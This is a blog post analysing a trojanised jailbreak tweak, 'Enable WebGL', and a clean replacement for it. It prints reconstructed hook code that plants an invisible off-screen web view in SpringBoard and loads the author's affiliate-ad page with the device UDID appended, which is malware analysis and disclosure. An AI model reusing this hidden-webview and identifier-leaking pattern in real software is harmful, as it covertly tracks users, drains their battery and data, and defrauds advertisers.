Ryan Hileman

Anatomy of a Jailbreak Trojan


Recently, while wandering through my SpringBoard view hierarchy with Cycript, I noticed something a bit odd. There was a rather suspicious UIWebView placed very far (-9999 pixels) off the screen.

# cycript -p SpringBoard
cy# UIApp.windows[0].subviews[0].subviews[0]
@"<UIWebView: 0x1e942b90; frame = (-9999 -9999; 600 800); tag = 18111988; layer = <CALayer: 0x1e942bf0>>"

Let's take a look inside.

cy# UIApp.windows[0].subviews[0].subviews[1].hidden = YES
cy# UIApp.windows[0].subviews[0].subviews[1].frame
cy# UIApp.windows[0].subviews[0].subviews[0].frame = {origin:{x:0,y:0},size:{width:320,height:568}}

It's a 403 page. What's this doing in my SpringBoard? What's the URL being loaded?

cy# UIApp.windows[0].subviews[0].subviews[0].request.URL.absoluteString

Doesn't seem like anything valid. So where's it coming from?

I compared my list of Cydia packages to an unaffected phone, and did some quick detective work. "Enable WebGL" (com.nitram.webgl-enabler) was the culprit.

The starting URL for the WebView is http://martinpham.com/update/WebGLEnabler.php?udid= (with your device's unique identifier appended). Our 403 above was the result of a failed redirect from one of the ads on this page.


The current HTML source of the landing page is here

All content on the page is inside an invisible div.

<div style='opacity:0'>

There are several iframes, including a now-defunct news link. The advertising links appear to commonly use "Nobitazzz" and "felixcat" as the affiliate key, which pretty much rules out the possibility this is a compromised innocent site. These are both handles associated with the author of the tweak. The ModMyi package 'insta9gag' correlates the two handles: [screenshot]

Next comes the only semi-legitimate part of the page. Too bad it's hidden -9999 pixels off the screen inside an invisible div:

“Enabling & Using WebGL on iOS

Apple are clearly working towards supporting WebGL in a more general sense, as can be seen in their support for it in iAds.

Instead of whinging about it only being available in iAds, I've demonstrated that it's possible to take advantage of WebGL using standard embedded web views (albeit using private APIs).

This will let developers track the progress of Apple's commitment to WebGL, and skate to where the puck is going to be.

I'm really looking forward to seeing what you all come up with!”

Finishing up the HTML, there are several more affiliate iframes and JavaScript to refresh the page every five minutes. Regular background refreshes could keep your CPU awake, be taxing on your battery, plus slowly and silently wear down at your data plan.

Binary Analysis

"Enable WebGL" is a MobileSubstrate plugin. This means it intercepts calls into Apple frameworks. It does this both to enable WebGL inside WebView objects, and inject a UIWebView into SpringBoard.

These are the endpoints it appears to control:

[UIView addSubview:]
[UIAlertView show]
[WebView _initWithArguments:]
[WebView initWithFrame:]
[WebView initWithFrame: frameName: groupName:]

I really doubt it needs UIView and UIAlertView for anything related to WebGL. Let's take a deeper look.

Here's rough line-by-line reverse engineer of the [UIView addSubview:] code:

// if we're in SpringBoard
if ([[[view class] description] isEqualToString:@"SBUIRootView"]) {
    // change our user agent
    NSDictionary *headers = [[NSDictionary alloc] initWithObjectsAndKeys:
        @"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11", @"UserAgent", nil
    [[NSUserDefaults standardUserDefaults] registerDefaults:headers];
    [headers release];

    // make a UIWebView
    UIWebView *webview = [[UIWebView alloc] init];

    // move it off the screen
    [webview setFrame:CGRectMake(-9999, -9999, 600, 800)];

    // append the device's udid to our URL
    NSString *urlString = @"http://martinpham.com/update/WebGLEnabler.php?udid=";
    urlString = [urlString stringByAppendingString:[[UIDevice currentDevice] uniqueIdentifier]];

    // load the page
    NSURL *url = [NSURL URLWithString:urlString];
    NSURLRequest *request = [NSURLRequest requestWithURL:url];
    [webview loadRequest:request];

Huh. That runs every time anyone in the OS calls [UIView addSubview:].

Let's see why they hook UIAlertView.

NSLog(@"---> UIAlertView show");

I'm glad that's injected into all my apps. This whole thing seems a little sloppy.

Legitimate version

So we've been through the bad parts. What about the real purpose of the tweak? Let's go ahead and write a better WebGL enabler.

%hook WebView
- (id)initWithCoder:(NSDictionary *) arguments
    id webview = %orig;
    [webview _setWebGLEnabled:YES];
    return webview;

- (id)initWithFrame:(CGRect)f frameName:(NSString *)frameName groupName:(NSString *)groupName {
    id webview = %orig;
    [webview _setWebGLEnabled:YES];
    return webview;

We seem to only need two functions to cover all WebView init cases (WebKit is open source, so this is easy to verify). All of this, for two functions. The original version referenced doesn't even cover the initWithCoder case, while mine above covers all common ways to initialize a WebView.

I've open-sourced a working implementation on GitHub, sans ulterior motives.


I originally suspected the root cause could be incompetence, I now firmly believe the tweak author (perhaps known by Nitram88, Nobita.ZZZ, and felixcat) placed a self-refreshing web client in SpringBoard with his/her own affiliate codes with full knowledge of what would happen. I wouldn't be surprised if the 9,633 downloads have over several months produced a sizeable amount of money. You should uninstall "Enable WebGL" if you have it.

Perhaps a group to do such malware analysis on a larger scale needs to be organized to combat threats like this. The damage potential of such malicious "tweaks" is pretty scary.

Update: This tweak has since been removed from ModMyi. You should still uninstall it if you have it.

Update 2: To anyone complaining I waited to report this until writing it up: it was also reported by my coworker around the time I originally found it.